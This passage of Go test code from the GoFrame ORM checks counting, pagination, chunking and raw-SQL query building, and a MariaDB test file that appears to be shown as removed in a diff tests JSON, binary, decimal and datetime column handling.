// Test_Model_AllAndCount_WithFields tests AllAndCount with specific fields
// Related: https://github.com/gogf/gf/issues/4698
func Test_Model_AllAndCount_WithFields(t *testing.T) {
table := createInitTable()
defer dropTable(table)
gtest.C(t, func(t *gtest.T) {
result, count, err := db.Model(table).Fields("id, nickname").AllAndCount(false)
t.AssertNil(err)
t.Assert(len(result), TableSize)
t.Assert(count, TableSize)
t.Assert(len(result[0]), 2) // Only 2 fields
})
// Regression test for #4698: AllAndCount(true) with multiple fields should work correctly
// https://github.com/gogf/gf/issues/4698
gtest.C(t, func(t *gtest.T) {
result, count, err := db.Model(table).Fields("id, nickname").AllAndCount(true)
t.AssertNil(err)
t.Assert(len(result), TableSize)
t.Assert(count, TableSize)
t.Assert(len(result[0]), 2)
})
}
// Test_Model_AllAndCount_Empty tests AllAndCount with no results
func Test_Model_AllAndCount_Empty(t *testing.T) {
table := createInitTable()
defer dropTable(table)
gtest.C(t, func(t *gtest.T) {
result, count, err := db.Model(table).Where("id > ?", 1000).AllAndCount(false)
t.AssertNil(err)
t.Assert(len(result), 0)
t.Assert(count, 0)
})
gtest.C(t, func(t *gtest.T) {
result, count, err := db.Model(table).Where("id < ?", 0).AllAndCount(true)
t.AssertNil(err)
t.Assert(len(result), 0)
t.Assert(count, 0)
})
}
// Test_Model_AllAndCount_WithCache tests AllAndCount with cache
func Test_Model_AllAndCount_WithCache(t *testing.T) {
table := createInitTable()
defer dropTable(table)
gtest.C(t, func(t *gtest.T) {
result1, count1, err := db.Model(table).PageCache(gdb.CacheOption{
Duration: time.Second * 10,
Force: false,
}, gdb.CacheOption{
Duration: time.Second * 10,
Force: false,
}).Page(1, 5).AllAndCount(false)
t.AssertNil(err)
t.Assert(len(result1), 5)
t.Assert(count1, TableSize)
// Second call should use cache
result2, count2, err := db.Model(table).PageCache(gdb.CacheOption{
Duration: time.Second * 10,
Force: false,
}, gdb.CacheOption{
Duration: time.Second * 10,
Force: false,
}).Page(1, 5).AllAndCount(false)
t.AssertNil(err)
t.Assert(len(result2), 5)
t.Assert(count2, count1)
})
}
// Test_Model_AllAndCount_Distinct tests AllAndCount with DISTINCT
func Test_Model_AllAndCount_Distinct(t *testing.T) {
table := createTable()
defer dropTable(table)
// Insert duplicate nicknames
for i := 1; i <= 10; i++ {
nickname := "name_" + gconv.String((i-1)/2) // Creates duplicates
db.Model(table).Data(g.Map{
"id": i,
"passport": "pass_" + gconv.String(i),
"password": "pwd",
"nickname": nickname,
}).Insert()
}
gtest.C(t, func(t *gtest.T) {
result, count, err := db.Model(table).Fields("DISTINCT nickname").AllAndCount(true)
t.AssertNil(err)
t.Assert(count, 5) // 10 records / 2 = 5 distinct nicknames
t.Assert(len(result), 5)
})
}
// Test_Model_ScanAndCount_Basic tests basic ScanAndCount functionality
func Test_Model_ScanAndCount_Basic(t *testing.T) {
table := createInitTable()
defer dropTable(table)
type User struct {
Id int
Passport string
Password string
Nickname string
}
gtest.C(t, func(t *gtest.T) {
var users []User
var count int
err := db.Model(table).ScanAndCount(&users, &count, false)
t.AssertNil(err)
t.Assert(len(users), TableSize)
t.Assert(count, TableSize)
})
gtest.C(t, func(t *gtest.T) {
var users []User
var count int
err := db.Model(table).ScanAndCount(&users, &count, true)
t.AssertNil(err)
t.Assert(len(users), TableSize)
t.Assert(count, TableSize)
})
}
// Test_Model_ScanAndCount_WithWhere tests ScanAndCount with WHERE conditions
func Test_Model_ScanAndCount_WithWhere(t *testing.T) {
table := createInitTable()
defer dropTable(table)
type User struct {
Id int
Passport string
Nickname string
}
gtest.C(t, func(t *gtest.T) {
var users []User
var count int
err := db.Model(table).Where("id <= ?", 5).ScanAndCount(&users, &count, false)
t.AssertNil(err)
t.Assert(len(users), 5)
t.Assert(count, 5)
t.Assert(users[0].Id, 1)
})
}
// Test_Model_ScanAndCount_WithPage tests ScanAndCount with pagination
func Test_Model_ScanAndCount_WithPage(t *testing.T) {
table := createInitTable()
defer dropTable(table)
type User struct {
Id int
Nickname string
}
gtest.C(t, func(t *gtest.T) {
var users []User
var count int
err := db.Model(table).Page(2, 3).Order("id").ScanAndCount(&users, &count, false)
t.AssertNil(err)
t.Assert(len(users), 3)
t.Assert(count, TableSize) // Total count, not page count
t.Assert(users[0].Id, 4)
t.Assert(users[2].Id, 6)
})
}
// Test_Model_ScanAndCount_Single tests ScanAndCount for single record
func Test_Model_ScanAndCount_Single(t *testing.T) {
table := createInitTable()
defer dropTable(table)
type User struct {
Id int
Passport string
}
gtest.C(t, func(t *gtest.T) {
var user User
var count int
err := db.Model(table).Where("id", 1).ScanAndCount(&user, &count, false)
t.AssertNil(err)
t.Assert(user.Id, 1)
t.Assert(count, 1)
})
}
// Test_Model_ScanAndCount_Empty tests ScanAndCount with no results
func Test_Model_ScanAndCount_Empty(t *testing.T) {
table := createInitTable()
defer dropTable(table)
type User struct {
Id int
}
gtest.C(t, func(t *gtest.T) {
var users []User
var count int
err := db.Model(table).Where("id > ?", 1000).ScanAndCount(&users, &count, false)
t.AssertNil(err)
t.Assert(len(users), 0)
t.Assert(count, 0)
})
}
// Test_Model_ScanAndCount_WithFields tests ScanAndCount with specific fields
func Test_Model_ScanAndCount_WithFields(t *testing.T) {
table := createInitTable()
defer dropTable(table)
type User struct {
Id int
Nickname string
}
gtest.C(t, func(t *gtest.T) {
var users []User
var count int
err := db.Model(table).Fields("id, nickname").ScanAndCount(&users, &count, false)
t.AssertNil(err)
t.Assert(len(users), TableSize)
t.Assert(count, TableSize)
t.Assert(users[0].Id > 0, true)
t.AssertNE(users[0].Nickname, "")
})
}
// Test_Model_ScanAndCount_WithCache tests ScanAndCount with cache
func Test_Model_ScanAndCount_WithCache(t *testing.T) {
table := createInitTable()
defer dropTable(table)
type User struct {
Id int
}
gtest.C(t, func(t *gtest.T) {
var users1 []User
var count1 int
err := db.Model(table).PageCache(gdb.CacheOption{
Duration: time.Second * 10,
Force: false,
}, gdb.CacheOption{
Duration: time.Second * 10,
Force: false,
}).Page(1, 5).ScanAndCount(&users1, &count1, false)
t.AssertNil(err)
t.Assert(len(users1), 5)
t.Assert(count1, TableSize)
// Second call should use cache
var users2 []User
var count2 int
err = db.Model(table).PageCache(gdb.CacheOption{
Duration: time.Second * 10,
Force: false,
}, gdb.CacheOption{
Duration: time.Second * 10,
Force: false,
}).Page(1, 5).ScanAndCount(&users2, &count2, false)
t.AssertNil(err)
t.Assert(len(users2), 5)
t.Assert(count2, count1)
})
}
// Test_Model_Chunk_Basic tests basic Chunk functionality
func Test_Model_Chunk_Basic(t *testing.T) {
table := createInitTable()
defer dropTable(table)
gtest.C(t, func(t *gtest.T) {
var (
total int
chunks int
)
db.Model(table).Order("id").Chunk(3, func(result gdb.Result, err error) bool {
t.AssertNil(err)
chunks++
total += len(result)
return true
})
t.Assert(chunks, 4) // 10 records / 3 = 4 chunks (3+3+3+1)
t.Assert(total, TableSize)
})
}
// Test_Model_Chunk_StopEarly tests Chunk with early stop
func Test_Model_Chunk_StopEarly(t *testing.T) {
table := createInitTable()
defer dropTable(table)
gtest.C(t, func(t *gtest.T) {
var chunks int
db.Model(table).Order("id").Chunk(3, func(result gdb.Result, err error) bool {
t.AssertNil(err)
chunks++
return chunks < 2 // Stop after 2nd chunk
})
t.Assert(chunks, 2)
})
}
// Test_Model_Chunk_WithWhere tests Chunk with WHERE conditions
func Test_Model_Chunk_WithWhere(t *testing.T) {
table := createInitTable()
defer dropTable(table)
gtest.C(t, func(t *gtest.T) {
var (
total int
chunks int
)
db.Model(table).Where("id <= ?", 5).Order("id").Chunk(2, func(result gdb.Result, err error) bool {
t.AssertNil(err)
chunks++
total += len(result)
return true
})
t.Assert(chunks, 3) // 5 records / 2 = 3 chunks (2+2+1)
t.Assert(total, 5)
})
}
// Test_Model_Chunk_ErrorHandling tests Chunk error handling
func Test_Model_Chunk_ErrorHandling(t *testing.T) {
gtest.C(t, func(t *gtest.T) {
var errorReceived bool
db.Model("non_existent_table").Chunk(10, func(result gdb.Result, err error) bool {
if err != nil {
errorReceived = true
return false
}
return true
})
t.Assert(errorReceived, true)
})
}
// Test_Model_Chunk_Empty tests Chunk with no results
func Test_Model_Chunk_Empty(t *testing.T) {
table := createInitTable()
defer dropTable(table)
gtest.C(t, func(t *gtest.T) {
var chunks int
db.Model(table).Where("id > ?", 1000).Chunk(10, func(result gdb.Result, err error) bool {
chunks++
return true
})
t.Assert(chunks, 0) // No chunks for empty result
})
}
// Test_Model_Page_Boundary tests Page with boundary values
// Related: https://github.com/gogf/gf/issues/4699
func Test_Model_Page_Boundary(t *testing.T) {
table := createInitTable()
defer dropTable(table)
// Page 0 should be treated as page 1
gtest.C(t, func(t *gtest.T) {
result, err := db.Model(table).Page(0, 3).Order("id").All()
t.AssertNil(err)
t.Assert(len(result), 3)
t.Assert(result[0]["id"], 1)
})
// Negative page should be treated as page 1
gtest.C(t, func(t *gtest.T) {
result, err := db.Model(table).Page(-1, 3).Order("id").All()
t.AssertNil(err)
t.Assert(len(result), 3)
t.Assert(result[0]["id"], 1)
})
// Size 0: framework treats limit=0 as "no limit", returns all records
gtest.C(t, func(t *gtest.T) {
result, err := db.Model(table).Page(1, 0).All()
t.AssertNil(err)
t.Assert(len(result), TableSize)
})
// Negative size: normalized to 0, same as Page(1, 0)
gtest.C(t, func(t *gtest.T) {
result, err := db.Model(table).Page(1, -1).All()
t.AssertNil(err)
t.Assert(len(result), TableSize)
})
// Very large page number (beyond available data)
gtest.C(t, func(t *gtest.T) {
result, err := db.Model(table).Page(100, 3).All()
t.AssertNil(err)
t.Assert(len(result), 0)
})
}
// Test_Model_Limit_Boundary tests Limit with boundary values
// Related: https://github.com/gogf/gf/issues/4699
func Test_Model_Limit_Boundary(t *testing.T) {
table := createInitTable()
defer dropTable(table)
// Limit 0: framework treats limit=0 as "no limit", returns all records
gtest.C(t, func(t *gtest.T) {
result, err := db.Model(table).Limit(0).All()
t.AssertNil(err)
t.Assert(len(result), TableSize)
})
// Negative limit: normalized to 0, same as Limit(0)
gtest.C(t, func(t *gtest.T) {
result, err := db.Model(table).Limit(-1).All()
t.AssertNil(err)
t.Assert(len(result), TableSize)
})
// Limit larger than available data
gtest.C(t, func(t *gtest.T) {
result, err := db.Model(table).Limit(1000).All()
t.AssertNil(err)
t.Assert(len(result), TableSize)
})
// Limit(offset, size): offset=5 skips 5 rows, size=100 takes up to 100
// With 10 rows total, skipping 5 returns remaining 5 rows
gtest.C(t, func(t *gtest.T) {
result, err := db.Model(table).Limit(5, 100).All()
t.AssertNil(err)
t.Assert(len(result), TableSize-5)
})
// Offset beyond data: returns empty result
gtest.C(t, func(t *gtest.T) {
result, err := db.Model(table).Limit(100, 5).All()
t.AssertNil(err)
t.Assert(len(result), 0)
})
}
// Test_Model_Page_Limit_Combination tests Page and Limit used together
func Test_Model_Page_Limit_Combination(t *testing.T) {
table := createInitTable()
defer dropTable(table)
gtest.C(t, func(t *gtest.T) {
// Page should override Limit
result, err := db.Model(table).Limit(5).Page(1, 3).Order("id").All()
t.AssertNil(err)
t.Assert(len(result), 3)
t.Assert(result[0]["id"], 1)
})
}

View File

@ -1,905 +0,0 @@
// Copyright GoFrame Author(https://goframe.org). All Rights Reserved.
//
// This Source Code Form is subject to the terms of the MIT License.
// If a copy of the MIT was not distributed with this file,
// You can obtain one at https://github.com/gogf/gf.
package mariadb_test
import (
"bytes"
"context"
"crypto/sha256"
"encoding/hex"
"encoding/json"
"fmt"
"strings"
"testing"
"github.com/gogf/gf/v2/database/gdb"
"github.com/gogf/gf/v2/frame/g"
"github.com/gogf/gf/v2/os/gtime"
"github.com/gogf/gf/v2/test/gtest"
)
func Test_Raw_Insert(t *testing.T) {
table := createTable()
defer dropTable(table)
gtest.C(t, func(t *gtest.T) {
user := db.Model(table)
result, err := user.Data(g.Map{
"id": gdb.Raw("id+2"),
"passport": "port_1",
"password": "pass_1",
"nickname": "name_1",
"create_time": gdb.Raw("now()"),
}).Insert()
t.AssertNil(err)
n, _ := result.LastInsertId()
t.Assert(n, 2)
})
}
func Test_Raw_BatchInsert(t *testing.T) {
table := createTable()
defer dropTable(table)
gtest.C(t, func(t *gtest.T) {
user := db.Model(table)
result, err := user.Data(
g.List{
g.Map{
"id": gdb.Raw("id+2"),
"passport": "port_2",
"password": "pass_2",
"nickname": "name_2",
"create_time": gdb.Raw("now()"),
},
g.Map{
"id": gdb.Raw("id+4"),
"passport": "port_4",
"password": "pass_4",
"nickname": "name_4",
"create_time": gdb.Raw("now()"),
},
},
).Insert()
t.AssertNil(err)
n, _ := result.LastInsertId()
t.Assert(n, 4)
})
}
func Test_Raw_Update(t *testing.T) {
table := createInitTable()
defer dropTable(table)
gtest.C(t, func(t *gtest.T) {
user := db.Model(table)
result, err := user.Data(g.Map{
"id": gdb.Raw("id+100"),
"create_time": gdb.Raw("now()"),
}).Where("id", 1).Update()
t.AssertNil(err)
n, _ := result.RowsAffected()
t.Assert(n, 1)
})
gtest.C(t, func(t *gtest.T) {
user := db.Model(table)
n, err := user.Where("id", 101).Count()
t.AssertNil(err)
t.Assert(n, 1)
})
}
func Test_Raw_Where(t *testing.T) {
table1 := createTable("Test_Raw_Where_Table1")
table2 := createTable("Test_Raw_Where_Table2")
defer dropTable(table1)
defer dropTable(table2)
// https://github.com/gogf/gf/issues/3922
gtest.C(t, func(t *gtest.T) {
expectSql := "SELECT * FROM `Test_Raw_Where_Table1` AS A WHERE NOT EXISTS (SELECT B.id FROM `Test_Raw_Where_Table2` AS B WHERE `B`.`id`=A.id) LIMIT 1"
sql, err := gdb.ToSQL(ctx, func(ctx context.Context) error {
s := db.Model(table2).As("B").Ctx(ctx).Fields("B.id").Where("B.id", gdb.Raw("A.id"))
m := db.Model(table1).As("A").Ctx(ctx).Where("NOT EXISTS ?", s).Limit(1)
_, err := m.All()
return err
})
t.AssertNil(err)
t.Assert(expectSql, sql)
})
gtest.C(t, func(t *gtest.T) {
expectSql := "SELECT * FROM `Test_Raw_Where_Table1` AS A WHERE NOT EXISTS (SELECT B.id FROM `Test_Raw_Where_Table2` AS B WHERE B.id=A.id) LIMIT 1"
sql, err := gdb.ToSQL(ctx, func(ctx context.Context) error {
s := db.Model(table2).As("B").Ctx(ctx).Fields("B.id").Where(gdb.Raw("B.id=A.id"))
m := db.Model(table1).As("A").Ctx(ctx).Where("NOT EXISTS ?", s).Limit(1)
_, err := m.All()
return err
})
t.AssertNil(err)
t.Assert(expectSql, sql)
})
// https://github.com/gogf/gf/issues/3915
gtest.C(t, func(t *gtest.T) {
expectSql := "SELECT * FROM `Test_Raw_Where_Table1` WHERE `passport` < `nickname`"
sql, err := gdb.ToSQL(ctx, func(ctx context.Context) error {
m := db.Model(table1).Ctx(ctx).WhereLT("passport", gdb.Raw("`nickname`"))
_, err := m.All()
return err
})
t.AssertNil(err)
t.Assert(expectSql, sql)
})
}
// Test_DataType_JSON_Insert tests JSON data insertion
func Test_DataType_JSON_Insert(t *testing.T) {
table := "test_json_" + gtime.TimestampMicroStr()
_, err := db.Exec(ctx, "CREATE TABLE "+table+" (id INT PRIMARY KEY AUTO_INCREMENT, data JSON)")
if err != nil {
t.Fatal(err)
}
defer dropTable(table)
gtest.C(t, func(t *gtest.T) {
// Insert simple JSON object
result, err := db.Model(table).Data(g.Map{
"data": `{"name":"John","age":30}`,
}).Insert()
t.AssertNil(err)
n, _ := result.RowsAffected()
t.Assert(n, 1)
// Verify data
one, err := db.Model(table).Where("id", 1).One()
t.AssertNil(err)
expected := map[string]interface{}{"name": "John", "age": float64(30)}
var actual map[string]interface{}
err = json.Unmarshal([]byte(one["data"].String()), &actual)
t.AssertNil(err)
t.Assert(actual, expected)
})
}
// Test_DataType_JSON_Extract tests JSON_EXTRACT function
func Test_DataType_JSON_Extract(t *testing.T) {
table := "test_json_extract_" + gtime.TimestampMicroStr()
_, err := db.Exec(ctx, "CREATE TABLE "+table+" (id INT PRIMARY KEY AUTO_INCREMENT, data JSON)")
if err != nil {
t.Fatal(err)
}
defer dropTable(table)
gtest.C(t, func(t *gtest.T) {
// Insert test data
_, err := db.Model(table).Data(g.Map{
"data": `{"name":"Alice","age":25,"city":"Beijing"}`,
}).Insert()
t.AssertNil(err)
// Extract name using JSON_EXTRACT
one, err := db.Model(table).Fields("JSON_EXTRACT(data, '$.name') as name").Where("id", 1).One()
t.AssertNil(err)
t.Assert(one["name"].String(), `"Alice"`)
// Extract age
one, err = db.Model(table).Fields("JSON_EXTRACT(data, '$.age') as age").Where("id", 1).One()
t.AssertNil(err)
t.Assert(one["age"].Int(), 25)
})
}
// Test_DataType_JSON_Set tests JSON_SET function
func Test_DataType_JSON_Set(t *testing.T) {
table := "test_json_set_" + gtime.TimestampMicroStr()
_, err := db.Exec(ctx, "CREATE TABLE "+table+" (id INT PRIMARY KEY AUTO_INCREMENT, data JSON)")
if err != nil {
t.Fatal(err)
}
defer dropTable(table)
gtest.C(t, func(t *gtest.T) {
// Insert initial data
_, err := db.Model(table).Data(g.Map{
"data": `{"name":"Bob"}`,
}).Insert()
t.AssertNil(err)
// Update using JSON_SET
_, err = db.Exec(ctx, fmt.Sprintf("UPDATE %s SET data = JSON_SET(data, '$.age', 30) WHERE id = 1", table))
t.AssertNil(err)
// Verify updated data
one, err := db.Model(table).Where("id", 1).One()
t.AssertNil(err)
expected := map[string]interface{}{"name": "Bob", "age": float64(30)}
var actual map[string]interface{}
err = json.Unmarshal([]byte(one["data"].String()), &actual)
t.AssertNil(err)
t.Assert(actual, expected)
})
}
// Test_DataType_JSON_Array tests JSON array operations
func Test_DataType_JSON_Array(t *testing.T) {
table := "test_json_array_" + gtime.TimestampMicroStr()
_, err := db.Exec(ctx, "CREATE TABLE "+table+" (id INT PRIMARY KEY AUTO_INCREMENT, data JSON)")
if err != nil {
t.Fatal(err)
}
defer dropTable(table)
gtest.C(t, func(t *gtest.T) {
// Insert JSON array
_, err := db.Model(table).Data(g.Map{
"data": `["apple","banana","cherry"]`,
}).Insert()
t.AssertNil(err)
// Extract array element
one, err := db.Model(table).Fields("JSON_EXTRACT(data, '$[0]') as first").Where("id", 1).One()
t.AssertNil(err)
t.Assert(one["first"].String(), `"apple"`)
})
}
// Test_DataType_JSON_Null tests JSON NULL handling
func Test_DataType_JSON_Null(t *testing.T) {
table := "test_json_null_" + gtime.TimestampMicroStr()
_, err := db.Exec(ctx, "CREATE TABLE "+table+" (id INT PRIMARY KEY AUTO_INCREMENT, data JSON)")
if err != nil {
t.Fatal(err)
}
defer dropTable(table)
gtest.C(t, func(t *gtest.T) {
// Insert NULL value
_, err := db.Model(table).Data(g.Map{
"data": nil,
}).Insert()
t.AssertNil(err)
// Verify NULL
one, err := db.Model(table).Where("id", 1).One()
t.AssertNil(err)
t.Assert(one["data"].IsNil(), true)
})
}
// Test_DataType_JSON_Complex tests complex nested JSON
func Test_DataType_JSON_Complex(t *testing.T) {
table := "test_json_complex_" + gtime.TimestampMicroStr()
_, err := db.Exec(ctx, "CREATE TABLE "+table+" (id INT PRIMARY KEY AUTO_INCREMENT, data JSON)")
if err != nil {
t.Fatal(err)
}
defer dropTable(table)
gtest.C(t, func(t *gtest.T) {
// Insert complex nested JSON
complexJSON := `{
"user": {
"name": "Charlie",
"contacts": {
"email": "charlie@example.com",
"phone": "1234567890"
},
"tags": ["developer", "gopher"]
}
}`
_, err := db.Model(table).Data(g.Map{
"data": complexJSON,
}).Insert()
t.AssertNil(err)
// Extract nested field
one, err := db.Model(table).Fields("JSON_EXTRACT(data, '$.user.contacts.email') as email").Where("id", 1).One()
t.AssertNil(err)
t.Assert(one["email"].String(), `"charlie@example.com"`)
})
}
// Test_DataType_JSON_Query tests JSON query with WHERE clause
func Test_DataType_JSON_Query(t *testing.T) {
table := "test_json_query_" + gtime.TimestampMicroStr()
_, err := db.Exec(ctx, "CREATE TABLE "+table+" (id INT PRIMARY KEY AUTO_INCREMENT, data JSON)")
if err != nil {
t.Fatal(err)
}
defer dropTable(table)
gtest.C(t, func(t *gtest.T) {
// Insert multiple JSON records
_, err := db.Model(table).Data(g.List{
g.Map{"data": `{"name":"David","age":20}`},
g.Map{"data": `{"name":"Eve","age":30}`},
g.Map{"data": `{"name":"Frank","age":25}`},
}).Insert()
t.AssertNil(err)
// Query by JSON field value
count, err := db.Model(table).Where("JSON_EXTRACT(data, '$.age') > ?", 25).Count()
t.AssertNil(err)
t.Assert(count, 1)
})
}
// Test_DataType_JSON_Update tests updating JSON data
func Test_DataType_JSON_Update(t *testing.T) {
table := "test_json_update_" + gtime.TimestampMicroStr()
_, err := db.Exec(ctx, "CREATE TABLE "+table+" (id INT PRIMARY KEY AUTO_INCREMENT, data JSON)")
if err != nil {
t.Fatal(err)
}
defer dropTable(table)
gtest.C(t, func(t *gtest.T) {
// Insert initial data
_, err := db.Model(table).Data(g.Map{
"data": `{"name":"Grace","age":28}`,
}).Insert()
t.AssertNil(err)
// Update entire JSON
_, err = db.Model(table).Data(g.Map{
"data": `{"name":"Grace","age":29}`,
}).Where("id", 1).Update()
t.AssertNil(err)
// Verify update
one, err := db.Model(table).Where("id", 1).One()
t.AssertNil(err)
expected := map[string]interface{}{"name": "Grace", "age": float64(29)}
var actual map[string]interface{}
err = json.Unmarshal([]byte(one["data"].String()), &actual)
t.AssertNil(err)
t.Assert(actual, expected)
})
}
// Test_DataType_Binary_Small tests small binary data
func Test_DataType_Binary_Small(t *testing.T) {
table := "test_binary_small_" + gtime.TimestampMicroStr()
_, err := db.Exec(ctx, "CREATE TABLE "+table+" (id INT PRIMARY KEY AUTO_INCREMENT, data BLOB)")
if err != nil {
t.Fatal(err)
}
defer dropTable(table)
gtest.C(t, func(t *gtest.T) {
// Insert small binary data
binaryData := []byte{0x00, 0x01, 0x02, 0x03, 0xFF}
_, err := db.Model(table).Data(g.Map{
"data": binaryData,
}).Insert()
t.AssertNil(err)
// Verify data
one, err := db.Model(table).Where("id", 1).One()
t.AssertNil(err)
t.Assert(bytes.Equal(one["data"].Bytes(), binaryData), true)
})
}
// Test_DataType_Binary_Large tests large binary data (1MB+)
func Test_DataType_Binary_Large(t *testing.T) {
table := "test_binary_large_" + gtime.TimestampMicroStr()
_, err := db.Exec(ctx, "CREATE TABLE "+table+" (id INT PRIMARY KEY AUTO_INCREMENT, data MEDIUMBLOB)")
if err != nil {
t.Fatal(err)
}
defer dropTable(table)
gtest.C(t, func(t *gtest.T) {
// Create 1MB binary data
size := 1024 * 1024 // 1MB
largeBinary := make([]byte, size)
for i := 0; i < size; i++ {
largeBinary[i] = byte(i % 256)
}
// Insert large binary data
_, err := db.Model(table).Data(g.Map{
"data": largeBinary,
}).Insert()
t.AssertNil(err)
// Verify data
one, err := db.Model(table).Where("id", 1).One()
t.AssertNil(err)
t.Assert(len(one["data"].Bytes()), size)
t.Assert(bytes.Equal(one["data"].Bytes(), largeBinary), true)
})
}
// Test_DataType_Binary_Integrity tests binary data integrity with checksum
func Test_DataType_Binary_Integrity(t *testing.T) {
table := "test_binary_integrity_" + gtime.TimestampMicroStr()
_, err := db.Exec(ctx, "CREATE TABLE "+table+" (id INT PRIMARY KEY AUTO_INCREMENT, data BLOB, checksum VARCHAR(64))")
if err != nil {
t.Fatal(err)
}
defer dropTable(table)
gtest.C(t, func(t *gtest.T) {
// Create random binary data
binaryData := []byte("Hello, World! This is a binary test data with special chars: \x00\xFF\xAB")
// Calculate SHA256 checksum
hash := sha256.Sum256(binaryData)
checksum := hex.EncodeToString(hash[:])
// Insert with checksum
_, err := db.Model(table).Data(g.Map{
"data": binaryData,
"checksum": checksum,
}).Insert()
t.AssertNil(err)
// Verify integrity
one, err := db.Model(table).Where("id", 1).One()
t.AssertNil(err)
retrievedHash := sha256.Sum256(one["data"].Bytes())
retrievedChecksum := hex.EncodeToString(retrievedHash[:])
t.Assert(retrievedChecksum, checksum)
})
}
// Test_DataType_Binary_Empty tests empty and NULL binary
func Test_DataType_Binary_Empty(t *testing.T) {
table := "test_binary_empty_" + gtime.TimestampMicroStr()
_, err := db.Exec(ctx, "CREATE TABLE "+table+" (id INT PRIMARY KEY AUTO_INCREMENT, data BLOB)")
if err != nil {
t.Fatal(err)
}
defer dropTable(table)
gtest.C(t, func(t *gtest.T) {
// Insert empty binary
_, err := db.Model(table).Data(g.Map{
"data": []byte{},
}).Insert()
t.AssertNil(err)
// Insert NULL
_, err = db.Model(table).Data(g.Map{
"data": nil,
}).Insert()
t.AssertNil(err)
// Verify empty
one, err := db.Model(table).Where("id", 1).One()
t.AssertNil(err)
t.Assert(len(one["data"].Bytes()), 0)
// Verify NULL
one, err = db.Model(table).Where("id", 2).One()
t.AssertNil(err)
t.Assert(one["data"].IsNil(), true)
})
}
// Test_DataType_Decimal_HighPrecision tests high precision decimal (65,30)
func Test_DataType_Decimal_HighPrecision(t *testing.T) {
table := "test_decimal_precision_" + gtime.TimestampMicroStr()
_, err := db.Exec(ctx, "CREATE TABLE "+table+" (id INT PRIMARY KEY AUTO_INCREMENT, amount DECIMAL(65,30))")
if err != nil {
t.Fatal(err)
}
defer dropTable(table)
gtest.C(t, func(t *gtest.T) {
// Insert high precision decimal
value := "12345678901234567890123456789012345.123456789012345678901234567890"
_, err := db.Model(table).Data(g.Map{
"amount": value,
}).Insert()
t.AssertNil(err)
// Verify precision
one, err := db.Model(table).Where("id", 1).One()
t.AssertNil(err)
t.Assert(one["amount"].String(), value)
})
}
// Test_DataType_Decimal_Calculation tests decimal arithmetic
func Test_DataType_Decimal_Calculation(t *testing.T) {
table := "test_decimal_calc_" + gtime.TimestampMicroStr()
_, err := db.Exec(ctx, "CREATE TABLE "+table+" (id INT PRIMARY KEY AUTO_INCREMENT, price DECIMAL(10,2), quantity DECIMAL(10,2))")
if err != nil {
t.Fatal(err)
}
defer dropTable(table)
gtest.C(t, func(t *gtest.T) {
// Insert test data
_, err := db.Model(table).Data(g.Map{
"price": "19.99",
"quantity": "3.5",
}).Insert()
t.AssertNil(err)
// Calculate total using SQL
one, err := db.Model(table).Fields("price * quantity as total").Where("id", 1).One()
t.AssertNil(err)
t.Assert(one["total"].String(), "69.9650")
})
}
// Test_DataType_Decimal_Boundary tests decimal boundary values
func Test_DataType_Decimal_Boundary(t *testing.T) {
table := "test_decimal_boundary_" + gtime.TimestampMicroStr()
_, err := db.Exec(ctx, "CREATE TABLE "+table+" (id INT PRIMARY KEY AUTO_INCREMENT, value DECIMAL(10,2))")
if err != nil {
t.Fatal(err)
}
defer dropTable(table)
gtest.C(t, func(t *gtest.T) {
// Test max value (10 digits, 2 decimals: 99999999.99)
_, err := db.Model(table).Data(g.Map{
"value": "99999999.99",
}).Insert()
t.AssertNil(err)
// Test min value
_, err = db.Model(table).Data(g.Map{
"value": "-99999999.99",
}).Insert()
t.AssertNil(err)
// Test zero
_, err = db.Model(table).Data(g.Map{
"value": "0.00",
}).Insert()
t.AssertNil(err)
// Verify all values
all, err := db.Model(table).Order("id").All()
t.AssertNil(err)
t.Assert(len(all), 3)
t.Assert(all[0]["value"].String(), "99999999.99")
t.Assert(all[1]["value"].String(), "-99999999.99")
t.Assert(all[2]["value"].String(), "0.00")
})
}
// Test_DataType_Decimal_Null tests NULL decimal values
func Test_DataType_Decimal_Null(t *testing.T) {
table := "test_decimal_null_" + gtime.TimestampMicroStr()
_, err := db.Exec(ctx, "CREATE TABLE "+table+" (id INT PRIMARY KEY AUTO_INCREMENT, value DECIMAL(10,2))")
if err != nil {
t.Fatal(err)
}
defer dropTable(table)
gtest.C(t, func(t *gtest.T) {
// Insert NULL
_, err := db.Model(table).Data(g.Map{
"value": nil,
}).Insert()
t.AssertNil(err)
// Verify NULL
one, err := db.Model(table).Where("id", 1).One()
t.AssertNil(err)
t.Assert(one["value"].IsNil(), true)
})
}
// Test_DataType_Datetime_Timezone tests datetime with timezone handling
func Test_DataType_Datetime_Timezone(t *testing.T) {
table := "test_datetime_tz_" + gtime.TimestampMicroStr()
_, err := db.Exec(ctx, "CREATE TABLE "+table+" (id INT PRIMARY KEY AUTO_INCREMENT, created_at DATETIME)")
if err != nil {
t.Fatal(err)
}
defer dropTable(table)
gtest.C(t, func(t *gtest.T) {
// Insert datetime
dt := "2024-01-15 12:30:45"
_, err := db.Model(table).Data(g.Map{
"created_at": dt,
}).Insert()
t.AssertNil(err)
// Verify datetime
one, err := db.Model(table).Where("id", 1).One()
t.AssertNil(err)
t.Assert(one["created_at"].String(), dt)
})
}
// Test_DataType_Datetime_Precision tests datetime with microsecond precision
func Test_DataType_Datetime_Precision(t *testing.T) {
table := "test_datetime_precision_" + gtime.TimestampMicroStr()
_, err := db.Exec(ctx, "CREATE TABLE "+table+" (id INT PRIMARY KEY AUTO_INCREMENT, created_at DATETIME(6))")
if err != nil {
t.Fatal(err)
}
defer dropTable(table)
gtest.C(t, func(t *gtest.T) {
// Insert datetime with microseconds
dt := "2024-01-15 12:30:45.123456"
_, err := db.Model(table).Data(g.Map{
"created_at": dt,
}).Insert()
t.AssertNil(err)
// Verify precision (compare up to seconds, MySQL may format microseconds differently)
one, err := db.Model(table).Where("id", 1).One()
t.AssertNil(err)
expected := "2024-01-15 12:30:45"
actual := one["created_at"].String()[:19] // Extract first 19 chars (YYYY-MM-DD HH:MM:SS)
t.Assert(actual, expected)
})
}
// Test_DataType_Datetime_Boundary tests datetime boundary values
func Test_DataType_Datetime_Boundary(t *testing.T) {
table := "test_datetime_boundary_" + gtime.TimestampMicroStr()
_, err := db.Exec(ctx, "CREATE TABLE "+table+" (id INT PRIMARY KEY AUTO_INCREMENT, dt DATETIME)")
if err != nil {
t.Fatal(err)
}
defer dropTable(table)
gtest.C(t, func(t *gtest.T) {
// Test min datetime (MySQL supports 1000-01-01 00:00:00)
_, err := db.Model(table).Data(g.Map{
"dt": "1000-01-01 00:00:00",
